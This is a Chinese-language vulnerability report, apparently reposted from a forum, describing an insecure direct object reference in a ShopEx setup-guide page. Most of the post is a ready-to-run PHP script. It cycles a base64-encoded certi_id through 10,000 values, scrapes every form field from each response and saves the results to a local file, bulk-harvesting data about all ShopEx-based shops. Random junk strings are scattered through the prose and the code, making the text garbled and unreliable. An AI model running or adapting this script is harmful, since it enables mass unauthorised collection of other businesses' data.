ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
  Q6 w$ ~3 w" t' }1 o' G- e! p- Y详细说明：
问题出现在shopex 网店使用向导页面


. Q( h9 O, p. ~  r; r
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
, q" Q- c9 ~- `1 a- W' e5 P
' c5 t% u4 h4 @+ A7 @! [

我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
! W& j8 `( H4 N9 k5 _
, n) }% ^; {1 `! W4 E( ]7 `" t8 J$ t

<?php

                for ($i=1; $i < 10000; $i++) { //遍历
. I, u" _- R! P& T
                        ShowshopExD($i);

                }

8 c) `2 A; @6 G. N( |                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';
( v! Q8 n( p: ^9 p. d( j
0 a/ ?6 T# Q' o6 t5 _                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

: [1 H6 ]* F5 s        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);

) j2 v/ h) s8 P! z        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
3 R* `' W5 U' Y: S3 `% Q7 R
8 I: t$ Z2 j( t2 z$ Y        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
2 w+ Z7 G% ?: i
        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
) b. o. u; Z( ~7 q0 a; X
        if(strpos($result,$refer))

        {
, L( i; }! u5 X, w2 B: e& ~0 s& G
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
; k1 {, j9 h; q' d
5 \7 b8 [1 @; R; M4 z                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

' D- j# K* z) m$ K' ]* U                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

  o$ g+ Q5 ^7 R9 i, O  L                        echo $res[1][0].':'.$res[3][0]."\r\n";

% Z4 f, D" |' p/ M" L( ~                        $col =$res[1][0].':'.$res[3][0]."\r\n";
5 G% j. `5 O3 c
                        fwrite($fp, $col, strlen($col));
5 T/ V, h+ ~! F% y4 T; R
% w' h) |. l3 u! `% P' v. u                }
  ~  `7 q: S3 l2 x( `& G) i
                echo '--------------------------------'."\r\n";
9 U, j8 f/ b+ ~- g) ^$ I6 E0 a
                fclose($fp);
  k( x8 S- y9 Q) ~" E3 p
        }
+ I, O* n9 w: v! B
: w1 w( S& |/ e- T+ y% D" L        flush();
5 \+ x( @1 y  v) @$ c5 P* R
        curl_close($ch);
/ t5 i5 q# g' V: ~) W6 C
/ f/ O" S) M, ?. ^$ g4 J                }
6 _: b9 s/ a7 D7 g
! |* g0 @$ S, c?>
: u. J1 D5 @) h+ P; n2 A- |漏洞证明：
. h/ }& C( U! S" Ahttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
- n! ^0 T8 I2 u  C! d9 Z